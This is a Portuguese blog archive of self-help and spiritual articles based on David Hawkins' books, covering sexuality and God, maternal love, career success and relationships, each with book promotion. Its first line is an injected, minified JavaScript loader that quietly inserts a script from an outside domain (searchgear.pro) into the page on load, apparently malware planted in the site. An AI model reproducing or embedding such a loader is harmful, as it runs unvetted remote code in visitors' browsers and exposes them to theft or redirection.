;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Deixar Ir O Caminho do Desapego - David Hawkins Brasil
Categorias
David Hawkins

Sexualidade: desde quando isso é coisa de Deus? (Parte 2)

No artigo da semana passada, explicamos a visão da sexualidade nos diferentes níveis de consciência. Essa semana vamos aprofundar na visão sobre Deus que está por trás de enxergar o sexo como algo carnal, o qual apenas desejamos, em comparação a enxergar o sexo como algo que se manifesta com amorosidade.

Vamos também ensinar práticas para que essa mudança em relação ao sexo seja possível para cada um de nós, saindo de um campo de consciência de desejo para um campo de consciência amoroso no âmbito da sexualidade.

Visão de Deus sobre sexualidade

Deus é Infinito Amor, Infinita Bondade, Infinita Misericórdia, é a Verdade, É. Toda vez que vivenciamos algo diferente disso, é um julgamento do nosso ego, um reflexo do nível de consciência ao qual achamos melhor nos conectar em determinado momento. 

O distanciamento de Deus que pode ser causado pela não aceitação dos nossos impulsos sexuais pode chegar até o ateísmo. Já que acreditamos que por sentir esses impulsos não somos dignos de um Deus Amoroso.

“Como podemos nos imaginar, curtindo a nós mesmos em um empreendimento humano que está ocorrendo em todo esse campo de energia enquanto secretamente pensamos que Deus provavelmente nos punirá por causa do assunto porque a visão de Deus que surge nesse campo é punitiva? Estamos certamente separados Dele e se conseguirmos qualquer satisfação ou felicidade, muito provavelmente existirá expectativa ou retaliação no final.

Algumas pessoas não suportam a intensidade do conflito entre um impulso biológico, uma necessidade psicológica, e a religião. Então, simplesmente evitam isso através do ateísmo, que apenas elimina a culpa. Precisam abrir mão de sua visão de Deus e religião da sexualidade. Para algumas pessoas, isso é um conflito impossível de se resolver e muitos terminam como ateus, pois não veem maneira de lidar com sua humanidade e suas visões de Deus.” – Dr. David Hawkins, “Cura e Recuperação”

Voltando a Adão e Eva

É claro que todos somos dignos do Amor de Deus, mas são nossas escolhas que nos afastam dele. Assim como o que aconteceu com “Adão e Eva” ao morderem a maçã e a primeira sensação que sentiram foi vergonha por estarem em corpos nus, seguida pela culpa disso estar acontecendo. Ao voltarmos para a nossa inocência, para a nossa intuição de só nos abrirmos para esse tipo de experiência com quem nos ama e respeita e vice-versa, com quem há um compromisso, tudo muda. Paramos de sentir culpa e vergonha e retornamos para uma experiência celestial do Jardim do Éden, inclusive envolvendo nossa sexualidade. Saímos da carnalidade e voltamos para a nossa verdadeira essência.

“A recontextualização resolve os problemas que os humanos dizem existir com a sexualidade porque na sutileza dessa experiência interior está a reconexão com a alegria da nossa inocência. Toda a questão de se Deus aprova o sexo, desaparece.” – Dr. David Hawkins, “Cura e Recuperação”

Práticas para o sexo amoroso

Vamos ensinar aqui quatro práticas para recontextuaização da nossa vida sexual, de forma que a prática do sexo amoroso saia de ser algo improvável e distante e se torne algo simples e factível, presente em nossas vidas!

1ª Prática

A primeira prática é observar que escolhemos manter o padrão de desejo, porque acreditamos, como sociedade, que é isso que vai fazer o sexo acontecer em nossas vidas. Isso nos prende a um padrão que limita profundamente nossa experiência. 

“A ilusão é acreditar que é o desejo que traz o sexo para nossa vida. Na verdade, é o oposto. O querer e o desejar estão bloqueando o sexo de entrar em nossas vidas, assim como o seu desfrutar quando está presente. Com o desapegar de resistir a esse desejo, todo indesejado que foi reprimido e suprimido vêm à tona. Se for permitido que seja libertado e flua sem que nada seja feito a seu respeito, sem se opor ou resistir à experiência da energia, começa a se descomprimir. Eventualmente, por ter uma quantidade limitada dessa energia, ela finalmente para.” – Dr. David Hawkins, “Cura e Recuperação”

2ª Prática

Essa prática é sobre estar atento a padrões de pensamentos fantasiosos e promíscuos em relação ao sexo. Não podemos controlar para que esses pensamentos não surjam, mas podemos escolher como vamos lidar com eles quando aparecem.

Aqui está a chave: quando surgirem esses pensamentos, não vamos dar assas as emoções e embarcar na fantasia, assim que surgirem já vamos cortar pela raiz e não pensar mais sobre isso. 

3ª Prática

A prática que vamos ensinar aqui não consta no “Capítulo 6: Sexualidade” do livro “Cura e Recuperação”, o qual inspirou esse artigo. Está descrita no “Capítulo 18: Relacionamentos” do livro “Deixa Ir”, sobre o qual também já escrevemos dois artigos. 

Essa é uma prática que tem por objetivo expandir a experiência do orgasmo, que sai de ser experienciado apenas nas partes genitais para toda a pélvis, abdômen, pernas, braços e todo o corpo até que não haja uma limitação para o orgasmo.  

“Essa expansão (do orgasmo) é facilitada por se tornar consciente que as caretas faciais e respirações ofegantes são restrições devido ao medo da perda do controle e tentativas de limitar a experiência. Se o indivíduo respirar devagar e profundamente, sorrindo em vez de fazer caretas, o medo vai se tornar consciente e pode ser rendido.” – Dr. David Hawkins, “Deixar Ir”

4ª Prática

Por fim, a última prática que vamos ensinar é sobre uma técnica de meditação que pode ser feita na hora do ato. É bem simples, basta se concentrar em um ponto do corpo que os japoneses chamam de “hara”, o qual fica dois dedos abaixo do umbigo. 

“Uma maneira de desfocalizar da fisicalidade local do corpo surge da antiga tradição técnica meditativa de focar sua atenção no ponto a dois dedos abaixo do umbigo e mantendo-a lá durante toda a experiência. Apenas tente isso. Esse é um ponto que os japoneses chamam de “hara”. É usado em artes marciais onde se coloca o foco e o centramento. Em vez de prestar atenção aos movimentos do corpo, as manipulações e infinitas ansiedades, concentre-se e fixe sua atenção nesse ponto, dois dedos abaixo do umbigo. Mantenha sua atenção nele, não importa o que esteja acontecendo e você notará que está de certa maneira distanciado.

Nesse estado, a pessoa se torna o participante/ observador autônomo. Toda a experiência toma dimensão diferente. Estará acontecendo espontaneamente em você, mas em vez de estar focado no local, você experiência de um campo de energia mais geral. Tente isso como uma maneira de se mover da experiência local para o coração. Apenas mova-se para esse ponto chamado “hara” e note a mudança na qualidade da experiência.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a segunda parte em uma sequência de artigos sobre o tema sexualidade. Na primeira parte reportamos sobre como é o sexo em diferentes níveis de consciência, o que traz ainda mais clareza sobre o assunto.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

Categorias
David Hawkins

Amor Maternal: frases e passagens do Dr. Hawkins

O amor maternal foi a semente que trouxe o amor de forma manifesta para a Terra. Foi a partir do cuidado e amor maternais que aprendemos a levar o Amor em todas as áreas de nossas vidas. Mais até do que isso, muitas mães conseguem demonstrar a incondicionalidade do seu Amor nas mais diversas circunstâncias. 

Nesse artigo, compilamos o que foi falado sobre maternidade nos livros escritos pelo dr. David Hawkins, dentro de uma série progressiva de livros baseada nas revelações da pesquisa da consciência.

Amor Maternal: a semente do amor na Terra

Quando a vida começou na Terra, mesmo antes de surgirem os seres humanos, não era possível observar o Amor se manifestando. O que se manifestava eram relações de predador e vítima focadas em sobrevivência. A vida na Terra começou com bactérias, depois insetos e surgiram os répteis e dinossauros. Um exemplo vivo dessa era, hoje na Terra, é o Dragão de Comodo, que só quer saber da sua própria sobrevivência.

Só quando os mamíferos surgiram, é que começamos a pensar no próximo. Esse cuidado não começou na relação entre homem e mulher que ainda seguia muito dos impulsos animais, assim como acontecia também nas interações sociais. É auto evidente que começou com a mãe cuidando e protegendo dos seus filhos. Foi assim que homens e mulheres aprenderam o que é amar e se sentir amado.

“Apenas recentemente o amor surgiu no planeta, a primeira vez que apareceu foi nas aves e nos mamíferos por meio do amor materno. É bom saber que se preocupar com os outros (…) é extremamente recente na evolução da consciência ao longo de milênios. Este fato provoca valorização da presença do amor na nossa era atual, e esta mesma valorização tem o efeito de aumentar essa presença do amor.” – Dr. David Hawkins,  “The Map of Consciousness Explained”

“Com a evolução da vida dos mamíferos, observamos pela primeira vez uma verdadeira preocupação sustentável pelos outros. Assim, o amor se apresentou pela primeira vez no planeta através do feminino, o qual expressa preocupação e cuidado.” – Dr. David Hawkins, “The Map of Consciousness Explained”

A semente de Amor na Evolução

“Do ponto de vista evolutivo, o amor aparece primeiro como instinto materno, e o homem não participa desse campo de energia até relativamente tarde na evolução. Na verdade, o amor romântico é um fenômeno muito recente da cultura humana. Do coração, através da evolução, a energia espiritual resulta em criatividade, discernimento espiritual e, por fim, consciência espiritual avançada.” – Dr. David Hawkins, “Truth vs falsehood”

“O princípio do que mais tarde emergirá como amor e a progressão da consciência em geral aparece primeiro no reino animal em sua forma primitiva como proteção dos ovos e dos filhotes. Isso evolui nos animais superiores para o instinto maternal.” – Dr. David Hawkins, “Truth vs falsehood”

“Na ave que é mãe, vemos o cuidado com a prole. O réptil não se importa com o outro; a mãe réptil põe os ovos e se afasta. Mas a mãe ave se preocupa com a sobrevivência dos ovos e dos filhotes.” – Dr. David Hawkins, “The Map of Consciousness Explained”

“O amor também aparece no reino animal manifesto na forma do rabo abanando do cachorro e do ronronar do gato, e também se expressa como amor materno em sua natureza de auto sacrifício.” – Dr. David Hawkins, Transcending The levels of consciousness”

“Do nível de consciência 200 para cima, a natureza da vida torna-se mais harmoniosa. O cuidado materno aparece, juntamente com a preocupação com os outros, a lealdade à matilha, a identificação com os outros e o início do que mais tarde se expressa na natureza humana como parentesco, socialização, brincadeira, união familiar e de pares e cooperação grupal para objetivos compartilhados, como a sobrevivência através de atividades comunitárias.” – Dr. David Hawkins, “Transcending The levels of consciousness” e “The Map of Consciousness Explained”

Amor Maternal: fisiologia e cultura

Ao longo da evolução, o amor maternal está relacionado a mudanças em como o cérebro se comporta, o que pode ser visto a partir dos mamíferos. Isso refletiu na cultura e comportamento da sociedade trazendo uma base sólida para que se desenvolvam matriarcas e patriarcas na nossa sociedade.

“Há também a liberação de oxitocina e vasopressina para a amígdala (centro emocional), que se relaciona com instintos maternos, comportamento paterno, vínculo de pares e capacidade social por meio do “cérebro social” (Moran, 2004) dos mamíferos.” – Dr. David Hawkins, “Transcending The levels of consciousness” e “Truth vs Falsehood”

“Antes da Segunda Guerra Mundial, a economia americana era 50% agrária. Metade da América vivia em fazendas onde o trabalho era dividido igualmente entre homens e mulheres e, dentro de casa, as mulheres eram muito apreciadas. Por respeito, os homens renunciavam a vulgaridade, levantavam-se quando as mulheres entravam na sala e abriam as portas para elas. No geral, a mulher, especialmente a mãe, era honrada e reverenciada e tinha autoridade sobre os aspectos domésticos da vida, enquanto os homens cuidavam das colheitas, do gado e do equipamento.” – Dr. David Hawkins, “Truth vs Falsehood”

Amor Maternal: presente ao longo da vida

O amor materno é visto em forma de auto sacrifício, ou seja, um sacro ofício de cuidar de outra vida e ser a referência para que as crianças cresçam saudáveis e com valores. É um amor que pode ser visto desde os atos mais simples do dia a dia até a capacidade de doar até sua vida para poder salvar seus filhos.

“A pessoa comum costuma ser apática em várias áreas da vida, mas apenas periodicamente enfrenta uma apatia esmagadora em relação a toda a situação de sua vida. Apatia indica falta de energia vital e está perto da morte. Isso foi observado durante a blitz da Segunda Guerra Mundial em Londres. Os bebês eram removidos para berçários e áreas remotas e seguras da Inglaterra, onde suas necessidades físicas, nutricionais e médicas eram bem atendidas. No entanto, os bebês desenvolveram apatia e começaram a adoecer; eles perderam o apetite e a taxa de mortalidade foi alta. Descobriu-se que a apatia resultava da falta de carinho e proximidade emocional com a figura materna. Era um estado emocional e não físico. Sem amor e carinho, perderam a vontade de viver.” – Dr. David Hawkins, “Deixar Ir”

“O amor se expressa de muitas maneiras. (…) A mãe limpa a calça suja de uma criança pequena com diarréia, dizendo: “Querido, não é sua culpa; não tinha como você evitar isso.”.” – Dr. David Hawkins, “Deixar Ir”

Amor Maternal: o amor incondicional que algumas mães atingem

O amor materno pode atingir um estado de amor incondicional onde o amor não depende do que o filho tenha, faça ou até mesmo do que ele se torne. A mãe nesse estado consegue separar o ator do ato, e amar seu filho independente de qualquer que seja a situação que se manifeste na vida dele.

Amor verdadeiro é amor incondicional. Amor incondicional é uma decisão que tomamos dentro de nós. O processo é de intenção e de decidir ser uma pessoa amorosa. Se eu decidir amar você, essa é minha decisão interna. Não há nada que a outra pessoa possa fazer sobre isso. Assim, não se é vítima do que acontecer no mundo porque a decisão de amar cria um campo de energia estável de incondicionalidade.

O comportamento da outra pessoa pode não ser agradável ou contributivo para o que se deseja, mas isso não muda a amorosidade. Por exemplo, a mãe que visita seu filho que é um assassino na prisão por vinte anos ainda ama o ser, o “é” de quem ele realmente é. Claro que seu comportamento não a faz feliz, mas o amor é incondicional, não importa o que ele faça. Vemos exemplos no mundo de amor incondicional materno, e do amor nos grupo de 12 passos, como no AA. O amor incondicional não se importa com o que tem ou com o passado.” – Dr. David Hawkins, “Cura e Recuperação”

O Amor Incondicional está disponível para todos, mesmo para quem não recebeu dos pais

“O amor incondicional é também o poder da mãe e do pai, cuja presença é tão essencial para que os filhos aprendam a amar à medida que crescem. Foi Sigmund Freud quem observou que a coisa mais feliz que pode nos acontecer ao crescer é ser o filho favorito de nossa mãe.

E aqueles de nós que não tiveram a feliz experiência de serem banhados em amor incondicional enquanto cresciam? Existe a crença comum de que, se não tivéssemos essa experiência, ficaríamos de alguma forma marcados ou aleijados para o resto da vida; na verdade, não é assim. Uma pessoa que experimentou muito amor no início da vida tem menos medos e uma vantagem inicial, mas esse amor é intrínseco a todos nós. Pela própria natureza do nosso ser e pela própria natureza da energia vital que flui através de nós e nos capacita a respirar e pensar, todos nós temos o mesmo nível de energia vibracional do amor dentro de nós.” – Dr. David Hawkins, “Deixar Ir”

Passagens do dr. Hawkins com a sua mãe

No livro “Cura e Recuperação” há duas passagens do dr. Hawkins com a sua própria mãe. Em uma delas, ele conta sobre um momento na sua infância em que a mãe o ensinou a enfrentar seus medos. A outra é sobre o momento em que sua mãe falece. Essa passagem é lindamente detalhada no livro, mas aqui colocamos apenas um pequeno trecho, dentro do propósito do artigo.

Passagem do dr. Hawkins com a sua mãe quando criança

“Quando criança, alguém na minha rua me contou sobre o bicho-papão. Minha mãe ridicularizava essas coisas de bicho-papão, fantasmas e coisas parecidas, mas de alguma maneira, por causa da persuasão das crianças mais velhas (pois ele falava como se soubesse do que estava falando), fiquei com medo do bicho-papão. Minha mãe me pegou pela mão e me levou ao porão escuro da casa com uma lanterna e procurou em todos os lugares pelo bicho-papão. Ele não foi achado lá, nem nos armários, atrás das cortinas ou em qualquer lugar da casa, inclusive o sótão. 

É muito útil ter alguém conosco quando observamos o medo, pois é a nossa criança inconsciente que está com medo. Nossa criança interior não compreende a natureza da vida real nesse mundo, então surge e diz “Nossa, sem isso não vou conseguir sobreviver.”.” Dr. David Hawkins, “Cura e Recuperação”

Passagem do dr. Hawkins com a sua mãe quando ela faleceu

“E lá estava minha mãe, com seu tanque de oxigênio e todos os tipos de tubos, junto com vários tipos de medidores e coisas eletrônicas para fazer o seu coração bater. De repente, assim que entrei no quarto, naquele momento, sabia que ela havia acabado de deixar o corpo, e experienciei seu absoluto êxtase ao sair. Ela estava tão feliz de deixar o corpo. Foi como um estado de infinito êxtase e alegria e eu estava fisicamente em unidade com ela na experiência – senti exatamente o que ela estava sentindo.” – Dr. David Hawkins, “Cura e Recuperação”

Admiração do dr. Hawkins pela matriarca da família 

No livro “O Sucesso é para você”, o dr. David Hawkins relata sobre um ensinamento matriarcal da sua avó que o marcou profundamente, mas que ele só compreendeu realmente depois de se tornar um homem maduro.

Quando eu era bem jovem, tive uma avó que era descrita por todos como santa. Lembro que ela costumava dizer: “Se você não tem nada de bom a dizer sobre alguém, então não diga nada”. Fiquei intrigado com isso por um longo tempo. Foi somente quando me tornei clinicamente experiente após muitos anos fazendo psicoterapia, onde pude ver os resultados desses princípios em operação, que comecei a entender o que ela queria dizer.” – Dr. David Hawkins, “O Sucesso é para você”

Por fim, desejamos que o amor que as mães ajudaram a semear nesse mundo, esteja sempre presente em nossos corações! Feliz Dia das Mães a todos!

Leia direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

No livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). Já no “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. No “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. E esses são apenas os livros citados no artigo que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. 

Estão todos convidados para mergulhar nesse conteúdo conosco.

Categorias
David Hawkins

Como conquistar objetivos profissionais?

Esse é um artigo inspirado no “Capítulo 19: Conquista de Objetivos Vocacionais” do livro “Deixar Ir”. Aqui, vamos te dar as principais chaves para conquistar seus objetivos profissionais.

Sentimentos e Habilidades

O que vai determinar nosso sucesso ou falha no mundo profissional é a qualidade dos nossos próprios pensamentos. Mesmo nossos talentos e habilidades só são expressos à medida que nossos pensamentos determinam. Portanto, o maior desafio que temos nesse sentido está dentro de nós e não fora. 

“Os sentimentos determinam os pensamentos e os pensamentos que mantemos em mente, determinam o nosso resultado.”

Como, então, lidar com esses sentimentos? Primeiro, precisamos observar se são sentimentos positivos ou negativos. E se forem negativos, deixá-los ir!

Sentimentos Negativos Relacionados ao Trabalho

É fácil identificar os sentimentos negativos porque são desagradáveis e por vezes até dolorosos. Eles expressam uma qualidade de “não consigo!”. São sentimentos de raiva, tristeza e ansiedade. A atitude mais comum que as pessoas têm com esses sentimentos é suprimi-los, achando que assim vão se livrar disso. Mas, na verdade, esses sentimentos suprimidos se manifestam em pensamentos negativos, que vão afetar a maneira como enxergamos e lidamos com as situações. Isso nos revela a frase de destaque abaixo.

“Negatividade não existe dentro de uma situação ou um evento; em vez disso, ela reside nas nossas reações às situações conforme as vemos.”

Um dos sentimentos que mais bloqueiam o sucesso profissional é a inveja daquele que conseguiu sair desse tal de “não consigo!”. Por que o outro consegue e eu não? Quando há inveja, a conquista do outro, ao invés de nos inspirar, se torna uma ameaça, ativa um sentimento de falta e de que somos inadequados.

Inveja

Nos sentirmos inadequados é o motivo pelo qual a inveja é tão dolorosa. E ao invés disso motivar a sair da dor, as pessoas ficam presas nesse ciclo, já que o desejo (de ser o que o outro é) repele justamente o que queremos. É um ciclo de achar que todos estão contra nós, de desabafos infinitos com a família, de ficar vendo TV, dormindo, comendo e/ou tomando álcool.

Paradoxalmente, é justamente a inveja que nos bloqueia. Não tem nada a ser resolvido fora de nós. É como no filme “Carruagens de Fogo”, que o personagem perde a linha de chegada em milésimos de segundos porque se virou para ver onde estava seu oponente na corrida. Assim que ele tira seu foco da corrida e o coloca no seu oponente, ele perde. Assim é a vida! Quem ganhou estava motivado pelo puro amor de correr e dar o seu melhor.

O caminho para deixar ir os sentimentos negativos é observar que as recompensas baratas que vem deles não se comparam ao que estamos perdendo por nos prender a essa negatividade. Na prática, isso significa abrir mão de coisas como: culpar os outros pelo nosso fracasso ou sentir simpatia por aqueles que escutam as nossas reclamações. O resultado é nos tornarmos aquele que faz com amor e dá o seu melhor, aquele que aprecia o seu sucesso e o do outro, enfim, o vencedor da corrida!

Sentimentos Positivos Relacionados ao Trabalho

Os sentimentos positivos são a essência de quem somos, são o nosso estado natural. Portanto, ao deixar ir os sentimentos negativos, os positivos surgem espontaneamente. Eles expressam uma qualidade de “eu consigo!”; “nós conseguimos!”. São sentimentos de alegria, felicidade e segurança.

“Quando as nuvens são removidas, o sol brilha. (…) É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que rendemos as nuvens da negatividade que previnem a sua revelação para nós.”

Sentimentos e o Processo de Tomada de Decisão

Vamos simplificar esse processo em 3 estágios conforme os níveis de consciência: inerte, enérgico e pacífico. 

Inerte

A tomada de decisão inerte acontece nos níveis emocionais de apatia, tristeza e medo. Isso reflete nos seguintes pensamentos na hora de tomar a decisão: “eu não sei”, “eu não tenho certeza”, “eu acho que eu não consigo”. É justamente esse ciclo de pensamentos inúteis que nos incapacita de enxergar o melhor para o contexto. 

Uma solução que saia desse campo de energia não será duradoura, o que reflete em uma perda ainda maior da confiança em nós mesmos e dos outros em nós. O melhor aqui é deixar ir essas emoções e sair desse estado antes de tomar a decisão. 

Energético

A tomada de decisão no padrão energético acontece nos níveis emocionais de desejo, raiva e orgulho. Aqui, é permitido que fluam alguns pensamentos positivos, mas esses ainda se misturam com os negativos. É um estado de querer “conquistar” e “provar a si mesmo”. 

O maior motivador aqui é o ganho pessoal. Não há nenhuma preocupação com o bem-estar dos outros. Isso gera situações ganha-perde, ao invés de ganha-ganha. Assim, as decisões são, no geral, insustentáveis e o sucesso se limita ao ganho pessoal, o que passa longe da excelência.

 Pacífico

A tomada de decisão no padrão pacífico acontece nos níveis emocionais de coragem, aceitação e amor. É um estado de paz, com sentimentos puramente positivos que permitem foco total na situação e assim nos capacita a observar todos os detalhes relevantes. 

Sem toda aquela preocupação, surgem as ideias que, de fato, resolvem o problema. As decisões são tomadas com o foco em que todos os envolvidos se beneficiem, assim gerando um contexto de ganha-ganha. Vamos descobrir que ao atender as necessidades de todas as pessoas, as nossas próprias necessidades também são atendidas. É aqui que mora a excelência e os projetos nobres que beneficiam toda uma sociedade. 

“Se olharmos para uma situação e afirmarmos que uma solução ganha-ganha não é possível, isso deve nos alertar de que temos algum sentimento interno não rendido que está bloqueando uma solução possivelmente perfeita.”

Sentimentos e Habilidades de Vendas

Vamos observar a relação entre os 3 níveis básicos de consciência e a habilidade de vendas em si.

Inerte

Como falamos acima, o estado inerte é governado pelas emoções de apatia, tristeza e medo. Nas vendas, isso representa um estado de “os clientes não querem meu produto”. Isso, claro, é o que os vendedores nesse estado mais escutam! A atividade de vendas, pela sua própria natureza, expõe os vendedores a rejeição e desapontamento.

Ao estar nesse ciclo, tudo que os vendedores mais querem é fugir desse estado com infinitos cafés e bate-papo sobre a vida pessoal. Esses sentimentos dos quais querem fugir são justamente o que prejudicam seu foco e diminuem suas habilidades, reduzindo cada vez mais sua autoestima e gerando uma expectativa de fracasso.

“Quando pensamentos de fracasso são mantidos em mente, o fracasso é precipitado nas situações de vendas.”

Energético

O nível energético é baseado nos sentimentos de desejo, raiva e orgulho. Nas vendas, isso representa um estado de “eu quero que eles comprem isso, assim terei uma boa comissão”. É claro que isso gera resistência por parte dos compradores, que podem captar isso. 

Ainda assim, já é possível bater as metas de vendas, mas como o foco do vendedor é o seu próprio ganho, muitas vezes os clientes saem insatisfeitos. Eles percebem os comportamentos no quais: o vendedor fala mais do que ouve seu cliente, força a barra para fechar negócio e fecha coisas prematuramente, gerando problemas de pós-venda. O contexto que se desdobra do padrão energético é o ganha-perde.

 Pacífico

O nível pacífico é o nível mais alto porque é baseado nos sentimentos de coragem, aceitação e amor. Nosso foco não poderia estar melhor. Aqui, a mente está em paz, assim o vendedor consegue escutar o cliente e mais do que isso, transformar problemas em soluções. 

Os clientes ficam satisfeitos e se tornam fiéis, por vezes até se tornam amigos. Há segurança de que as metas serão batidas porque existe uma certeza interna de que uma solução ganha-ganha pode existir em cada uma das situações. 

Não estamos falando de visualizações, técnicas de vendas, pensamentos positivos, afirmações escritas, nada disso. Não é sobre forçar o pensamento a ser positivo. É sobre deixar ir os sentimentos negativos para que o positivo flua naturalmente, como reflexo de quem a gente é. 

Temos o exemplo de uma vendedora de uma galeria de artes que não vendia nada há semanas e fez todas essas coisas que citamos acima. Nada funcionou! Quando chegou no desespero, se rendeu a deixar ir toda essa negatividade. Saiu desse estado de luta, de “ter que vender”. Ela estava em paz e em apenas uma hora depois de chegar nesse estado vendeu duas esculturas que, curiosamente, se chamava “Deixar Ir”.

“Uma mente concentrada em um pensamento positivo tem o poder de aumentar a probabilidade que o pensamento positivo vai se materializar no mundo dos eventos.”

Gloria In Excelsis Deo!

Leia direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

Categorias
Níveis de Consciência

Relacionamentos: um guia prático e amoroso das interações sociais (Parte 2)

Esse artigo é o segundo de uma série de dois artigos sobre Relacionamentos, baseados no “Capítulo 18: Relacionamentos” do livro “Deixar Ir, o Caminho do Desapego”. Logo, se você ainda leu a primeira parte, clique aqui.

A condição humana 

Somos humanos, e como tal, todos nós sentiremos emoções negativas, não é exclusividade de um ou outro. Aceitar a nossa humanidade, ao invés de nos culparmos e nos massacrarmos, é um passo essencial para começarmos essa mudança. É uma atitude não julgadora. Assim, vamos reconhecer que não somos esses sentimentos negativos, eles apenas fazem parte de ser humanos. Esses sentimentos negativos NÃO são o nosso “Eu verdadeiro”, que é um ser de Amor infinito.

Vamos começar sendo amorosos com nós mesmos. Basta observar que é só medo que está por trás de tudo isso. E o medo não passa de uma ilusão. O medo é a base de todos esses sentimentos negativos, temos medo de perder nossos relacionamentos, de perder a nossa segurança e de não sobreviver. Isso é normal. Mas, há dois problemas em como lidamos com isso.

O primeiro problema que surge ao lidar com as emoções negativas é a resistência a elas. Paradoxalmente, é justamente a resistência que mantém esses sentimentos dentro de nós. Isso não significa soltar um balde de emoções negativas nas outras pessoas ao nosso redor. Mas significa deixar que essas emoções venham à tona para que possamos rendê-las. Esse é o único propósito válido em manifestarmos essas emoções negativas em nossas vidas: rendê-las. 

O medo não nos protege

O segundo é achar que o medo que nos protege. Não é. Lembre-se: “o medo é uma ilusão”. Todo sentimento negativo é uma ilusão, e literalmente, nos enfraquece. Além de nos aproximar daquilo que mais tememos, porque ficamos mantendo isso em mente. Esses sentimentos negativos também nos afastam daquilo que desejamos, porque as pessoas sentem que temos interesses ocultos ao nos relacionarmos com elas. 

Quando é o Amor que nos move, podemos mover montanhas em nossos relacionamentos, mas quando são sentimentos de ‘picuinha’ só vamos fazer ações de mau grado. Vamos sair de relações ganha-perde, que geram ódio e rancor, para relações ganha-ganha, que trazem a verdadeira felicidade.

Eventualmente, quando rancor surgir pense: “é realmente assim que eu gostaria de passar o dia de hoje? E se hoje for o último dia da minha vida?” Permita-se criar para você uma nova vida sem aquele velho rancor, sem conflito e sem medo.

Sentimentos Positivos

Ao rendermos os sentimentos negativos, naturalmente surgem os positivos. Vem a coragem de fazer aquilo que estávamos com medo, a disposição em fazer aquilo que estávamos com preguiça e por aí vai. Chegamos em um estado de “Eu consigo!”.

Naturalmente, a reação de todos ao nosso redor também muda, seja com uma colega de trabalho, com algum conhecido, amigo ou cônjuge, isso reflete em todas as áreas da nossa vida. As coisas acontecem sem grandes dificuldades. Há um “sentimento de sintonia”, uma compreensão verdadeira e uma alegria.

Conectividade

Ao buscar nossa evolução pessoal e chegar em um estado de paz, serenidade, simplicidade, nos sentimos mais conectados com os outros, há uma sensação mútua de estarmos em comunhão. Os outros podem vivenciar uma consciência aumentada de quem realmente são, só por estarem na presença de alguém assim, que não está mantendo nenhuma negatividade. 

Os frutos são deliciosos, é um compartilhar da paz, da tranquilidade e da alegria, sem rancor e sem rusgas! É um relacionamento sem barreiras, no qual, às vezes, até se sabe, conscientemente, o que o outro está pensando, mesmo sem ter muita intimidade. É um reflexo da aceitação mútua, onde os dois envolvidos aceitam a sua humanidade e a do outro.

Efeito dos Sentimentos Positivos

Há uma lei da consciência que é implacável: semelhante atrai semelhante. Nossos sentimentos são energia, assim sendo, somos como estações de envio e recebimento. Quanto mais amorosos nos tornamos, mais Amor se torna disponível para nós. As nossas relações vão se transformando e se reciclando e quando menos esperarmos, estaremos cercados de Amor. Esse subsistir do sentimento negativo por um maior é um verdadeiro milagre na vida de qualquer individuo. As coisas são muito mais conectadas do que podemos observar com a nossa mente linear, Carl Jung tentou nos explicar isso através do fenômeno chamado “sincronicidade”.

Deixando Ir as Expectativas

Todos nós escutamos que você “colhe o que planta”, mas isso se torna distante porque muitas vezes há uma demora entre um acontecimento e outro. No entanto, quando a gente usa a técnica do Deixar Ir é possível observar isso, muitas vezes em tempo real. Vamos citar alguns exemplos adiante, mas antes vamos treinar nossa observação.

